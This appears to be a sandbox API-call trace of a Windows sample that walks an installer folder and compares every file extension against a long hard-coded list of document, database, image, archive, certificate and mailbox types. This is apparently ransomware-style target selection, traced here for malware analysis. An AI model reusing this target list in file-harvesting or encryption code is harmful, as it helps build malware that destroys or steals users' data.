	[0069.842] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dwt") returned 4
	[0069.842] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".dx") returned 3
	[0069.842] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.842] lstrlenW (lpString=".dxf") returned 4
	[0069.842] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".edml") returned 5
	[0069.842] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.842] lstrlenW (lpString=".efd") returned 4
	[0069.842] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".elf") returned 4
	[0069.842] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".emf") returned 4
	[0069.842] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".emz") returned 4
	[0069.842] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".epf") returned 4
	[0069.842] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".eps") returned 4
	[0069.842] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".epsf") returned 5
	[0069.842] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.842] lstrlenW (lpString=".epsp") returned 5
	[0069.842] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.842] lstrlenW (lpString=".erf") returned 4
	[0069.842] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.842] lstrlenW (lpString=".exr") returned 4
	[0069.843] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".f4v") returned 4
	[0069.843] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".fido") returned 5
	[0069.843] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.843] lstrlenW (lpString=".flm") returned 4
	[0069.843] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".flv") returned 4
	[0069.843] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".frm") returned 4
	[0069.843] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".fxg") returned 4
	[0069.843] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".geo") returned 4
	[0069.843] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".gif") returned 4
	[0069.843] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".grs") returned 4
	[0069.843] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".gz") returned 3
	[0069.843] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.843] lstrlenW (lpString=".h") returned 2
	[0069.843] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.843] lstrlenW (lpString=".hdr") returned 4
	[0069.843] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".hpp") returned 4
	[0069.843] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".hta") returned 4
	[0069.843] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".htc") returned 4
	[0069.843] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".htm") returned 4
	[0069.843] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".html") returned 5
	[0069.843] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.843] lstrlenW (lpString=".icb") returned 4
	[0069.843] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.843] lstrlenW (lpString=".ics") returned 4
	[0069.844] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".iff") returned 4
	[0069.844] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".inc") returned 4
	[0069.844] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".indd") returned 5
	[0069.844] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.844] lstrlenW (lpString=".ini") returned 4
	[0069.844] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".iqy") returned 4
	[0069.844] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".j2c") returned 4
	[0069.844] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".j2k") returned 4
	[0069.844] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".java") returned 5
	[0069.844] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.844] lstrlenW (lpString=".jp2") returned 4
	[0069.844] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpc") returned 4
	[0069.844] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpe") returned 4
	[0069.844] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpeg") returned 5
	[0069.844] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpf") returned 4
	[0069.844] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpg") returned 4
	[0069.844] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".jpx") returned 4
	[0069.844] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".js") returned 3
	[0069.844] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.844] lstrlenW (lpString=".jsf") returned 4
	[0069.844] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.844] lstrlenW (lpString=".json") returned 5
	[0069.844] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.844] lstrlenW (lpString=".jsp") returned 4
	[0069.845] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".kdc") returned 4
	[0069.845] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".kmz") returned 4
	[0069.845] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".kwm") returned 4
	[0069.845] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".lasso") returned 6
	[0069.845] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.845] lstrlenW (lpString=".lbi") returned 4
	[0069.845] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".lgf") returned 4
	[0069.845] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".lgp") returned 4
	[0069.845] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".log") returned 4
	[0069.845] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".m1v") returned 4
	[0069.845] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".m4a") returned 4
	[0069.845] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".m4v") returned 4
	[0069.845] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".max") returned 4
	[0069.845] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".md") returned 3
	[0069.845] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.845] lstrlenW (lpString=".mda") returned 4
	[0069.845] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".mdb") returned 4
	[0069.845] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".mde") returned 4
	[0069.845] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".mdf") returned 4
	[0069.845] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.845] lstrlenW (lpString=".mdw") returned 4
	[0069.845] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mef") returned 4
	[0069.846] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mft") returned 4
	[0069.846] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mfw") returned 4
	[0069.846] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mht") returned 4
	[0069.846] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mhtml") returned 6
	[0069.846] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.846] lstrlenW (lpString=".mka") returned 4
	[0069.846] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mkidx") returned 6
	[0069.846] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.846] lstrlenW (lpString=".mkv") returned 4
	[0069.846] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mos") returned 4
	[0069.846] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mov") returned 4
	[0069.846] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mp3") returned 4
	[0069.846] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mp4") returned 4
	[0069.846] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mpeg") returned 5
	[0069.846] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.846] lstrlenW (lpString=".mpg") returned 4
	[0069.846] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mpv") returned 4
	[0069.846] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mrw") returned 4
	[0069.846] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".msg") returned 4
	[0069.846] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".mxl") returned 4
	[0069.846] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".myd") returned 4
	[0069.846] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.846] lstrlenW (lpString=".myi") returned 4
	[0069.847] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".nef") returned 4
	[0069.847] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".nrw") returned 4
	[0069.847] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".obj") returned 4
	[0069.847] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".odb") returned 4
	[0069.847] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".odc") returned 4
	[0069.847] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".odm") returned 4
	[0069.847] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".odp") returned 4
	[0069.847] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".ods") returned 4
	[0069.847] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".oft") returned 4
	[0069.847] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".one") returned 4
	[0069.847] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".onepkg") returned 7
	[0069.847] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.847] lstrlenW (lpString=".onetoc2") returned 8
	[0069.847] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.847] lstrlenW (lpString=".opt") returned 4
	[0069.847] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".oqy") returned 4
	[0069.847] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.847] lstrlenW (lpString=".orf") returned 4
	[0069.848] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".p12") returned 4
	[0069.848] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".p7b") returned 4
	[0069.848] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".p7c") returned 4
	[0069.848] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pam") returned 4
	[0069.848] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pbm") returned 4
	[0069.848] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pct") returned 4
	[0069.848] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pcx") returned 4
	[0069.848] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pdd") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pdf") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pdp") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pef") returned 4
	[0069.848] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pem") returned 4
	[0069.848] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pff") returned 4
	[0069.848] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pfm") returned 4
	[0069.848] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pfx") returned 4
	[0069.848] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".pgm") returned 4
	[0069.848] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".php") returned 4
	[0069.848] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.848] lstrlenW (lpString=".php3") returned 5
	[0069.848] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.848] lstrlenW (lpString=".php4") returned 5
	[0069.849] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".php5") returned 5
	[0069.849] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".phtml") returned 6
	[0069.849] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.849] lstrlenW (lpString=".pict") returned 5
	[0069.849] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".pl") returned 3
	[0069.849] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.849] lstrlenW (lpString=".pls") returned 4
	[0069.849] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".pm") returned 3
	[0069.849] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.849] lstrlenW (lpString=".png") returned 4
	[0069.849] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".pnm") returned 4
	[0069.849] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".pot") returned 4
	[0069.849] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".potm") returned 5
	[0069.849] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".potx") returned 5
	[0069.849] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".ppa") returned 4
	[0069.849] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".ppam") returned 5
	[0069.849] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".ppm") returned 4
	[0069.849] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".pps") returned 4
	[0069.849] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".ppsm") returned 5
	[0069.849] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.849] lstrlenW (lpString=".ppt") returned 4
	[0069.849] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.849] lstrlenW (lpString=".pptm") returned 5
	[0069.849] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.850] lstrlenW (lpString=".pptx") returned 5
	[0069.850] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.850] lstrlenW (lpString=".prn") returned 4
	[0069.850] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".ps") returned 3
	[0069.850] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.850] lstrlenW (lpString=".psb") returned 4
	[0069.850] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".psd") returned 4
	[0069.850] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".pst") returned 4
	[0069.850] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".ptx") returned 4
	[0069.850] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".pub") returned 4
	[0069.850] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".pwm") returned 4
	[0069.850] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".pxr") returned 4
	[0069.850] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".py") returned 3
	[0069.850] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.850] lstrlenW (lpString=".qt") returned 3
	[0069.850] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.850] lstrlenW (lpString=".r3d") returned 4
	[0069.850] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".raf") returned 4
	[0069.850] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.850] lstrlenW (lpString=".rar") returned 4
	[0069.850] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.850] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.851] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.851] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.851] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0069.851] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.851] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0069.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0069.851] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0069.851] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.851] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.851] lstrlenW (lpString="eula.rtf") returned 8
	[0069.851] lstrlenW (lpString=".1cd") returned 4
	[0069.851] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.851] lstrlenW (lpString=".3ds") returned 4
	[0069.851] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.851] lstrlenW (lpString=".3fr") returned 4
	[0069.851] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.851] lstrlenW (lpString=".3g2") returned 4
	[0069.852] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".3gp") returned 4
	[0069.852] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".7z") returned 3
	[0069.852] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.852] lstrlenW (lpString=".accda") returned 6
	[0069.852] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".accdb") returned 6
	[0069.852] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".accdc") returned 6
	[0069.852] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".accde") returned 6
	[0069.852] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".accdt") returned 6
	[0069.852] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".accdw") returned 6
	[0069.852] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.852] lstrlenW (lpString=".adb") returned 4
	[0069.852] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".adp") returned 4
	[0069.852] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai") returned 3
	[0069.852] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai3") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai4") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai5") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai6") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai7") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".ai8") returned 4
	[0069.852] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.852] lstrlenW (lpString=".anim") returned 5
	[0069.852] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.853] lstrlenW (lpString=".arw") returned 4
	[0069.853] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".as") returned 3
	[0069.853] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.853] lstrlenW (lpString=".asa") returned 4
	[0069.853] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".asc") returned 4
	[0069.853] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
